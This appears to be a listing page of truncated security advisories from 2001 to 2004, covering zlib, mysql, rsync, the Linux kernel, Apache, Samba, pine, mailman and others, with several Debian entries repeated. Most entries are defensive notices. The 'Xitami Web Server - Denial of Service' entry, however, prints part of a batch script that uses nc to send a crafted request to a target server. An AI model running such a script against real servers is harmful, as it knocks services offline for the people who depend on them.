zlib: Denial of service vulnerability

Background zlib is a general-purpose data-compression library. Description zlib contains a bug in the handling of errors in the "inflate" and "inflateBack" functions. Impact An attacker could exploit this vulnerability to launch a Denial of Service attack on any application using the zlib library...

[SECURITY] [DSA 541-1] New icecast-server packages fix cross site scripting

-------------------------------------------------------------------------- Debian Security Advisory DSA 541-1 [email protected] http://www.debian.org/security/ Martin Schulze August 24th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 540-1] New mysql packages fix insecure temporary file creation

-----BEGIN PGP SIGNED MESSAGE----- Hash: SHA1 - -------------------------------------------------------------------------- Debian Security Advisory DSA 540-1 [email protected] http://www.debian.org/security/ Martin Schulze August 18th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 540-1] New mysql packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 540-1 [email protected] http://www.debian.org/security/ Martin Schulze August 18th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 540-1] New mysql packages fix insecure temporary file creation

-------------------------------------------------------------------------- Debian Security Advisory DSA 540-1 [email protected] http://www.debian.org/security/ Martin Schulze August 18th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 539-1] New kdelibs packages fix denial of service

-------------------------------------------------------------------------- Debian Security Advisory DSA 539-1 [email protected] http://www.debian.org/security/ Martin Schulze August 17th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 539-1] New kdelibs packages fix denial of service

-------------------------------------------------------------------------- Debian Security Advisory DSA 539-1 [email protected] http://www.debian.org/security/ Martin Schulze August 17th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 538-1] New rsync packages fix unauthorised directory traversal and file access

-------------------------------------------------------------------------- Debian Security Advisory DSA 538-1 [email protected] http://www.debian.org/security/ Martin Schulze August 17th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 537-1] New Ruby packages fix insecure CGI session management

-------------------------------------------------------------------------- Debian Security Advisory DSA 537-1 [email protected] http://www.debian.org/security/ Martin Schulze August 16th, 2004 http://www.debian.org/security/faq -...

[SECURITY] [DSA 537-1] New Ruby packages fix insecure CGI session management

-------------------------------------------------------------------------- Debian Security Advisory DSA 537-1 [email protected] http://www.debian.org/security/ Martin Schulze August 16th, 2004 http://www.debian.org/security/faq -...

[slackware-security] sox

New sox packages are available for Slackware 8.1, 9.0, 9.1, 10.0, and -current to fix buffer overflow security issues that could allow a malicious WAV file to execute arbitrary code. Here are the details from the Slackware 10.0 ChangeLog: Sat Aug 7 17:17:20 AKDT 2004...

Mandrake Linux Security Advisory : kernel (MDKSA-2003:038-1)

A bug in the kernel module loader code could allow a local user to gain root privileges. This is done by a local user using ptrace and attaching to a modprobe process that is spawned if the user triggers the loading of a kernel module. A temporary workaround can be used to defend against this fla...

Mandrake Linux Security Advisory : apache (MDKSA-2001:077-1)

A problem exists with all Apache servers prior to version 1.3.19. The vulnerablity could allow directory indexing and path discovery on the vulnerable servers with a custom crafted request consisting of a long path name created artificially by using numerous slashes. This can cause modules to...

Mandrake Linux Security Advisory : kernel (MDKSA-2001:082-1)

Rafal Wojtczuk found a vulnerability in the 2.2.19 and 2.4.11 Linux kernels with the ptrace code and deeply nested symlinks spending an arbitrary amount of time in the kernel code. The ptrace vulnerability could be used by local users to gain root privilege, the symlink vulnerability could result...

alternate samba package for Slackware 10.0

It was pointed out that the new Samba packages for Slackware 10.0 and -current have a dependency on libattr.so that wasn't in the previous packages. Since it's not the intent to introduce new requirements in security patches especially for stable versions, an alternate version of the samba packag...

SUSE-SA:2003:041: lsh

The remote host is missing the patch for the advisory SUSE-SA:2003:041 lsh. LSH is the GNU implementation of SSH and can be seen as an alternative to OpenSSH. Recently various remotely exploitable buffer overflows have been reported in LSH. These allow attackers to execute arbitrary code as root ...

SUSE-SA:2002:046: pine

The remote host is missing the patch for the advisory SUSE-SA:2002:046 pine. Pine, Program for Internet News and Email, is a well known and widely used eMail client. While parsing and escaping characters of eMail addresses pine does not allocate enough memory for storing the escaped mailbox part ...

Fedora Core 2 : mailman-2.1.5-7 (2004-168)

Fixes security issue CVE-2004-0412 noted in bug https://bugzilla.redhat.com/bugzilla/showbug.cgi?id=123559 Mailman subscriber passwords could be retrieved by a remote attacker. Security hole is fixed in mailman-2.1.5 Important Installation Note: Some users have reported problems with bad queue...

Xitami Web Server - Denial of Service

if '%1'=='' echo Usage:%0 target port&&goto :eof set PORT=80 if not '%2'=='' set PORT=%2 for %%n in nc.exe do if not exist %%$PATH:n if not exist nc.exe echo Need nc.exe&&goto :eof echo GET / HTTP/1.0http.tmp echo HOST: %1http.tmp echo DOShttp.tmp echo.http.tmp nc -w 10 %1 %PORT% http.tmp del...

[SECURITY] [DSA 529-1] New netkit-telnet-ssl package fixes format string vulnerability

-------------------------------------------------------------------------- Debian Security Advisory DSA 529-1 [email protected] http://www.debian.org/security/ Matt Zimmerman July 17th, 2004 http://www.debian.org/security/faq -...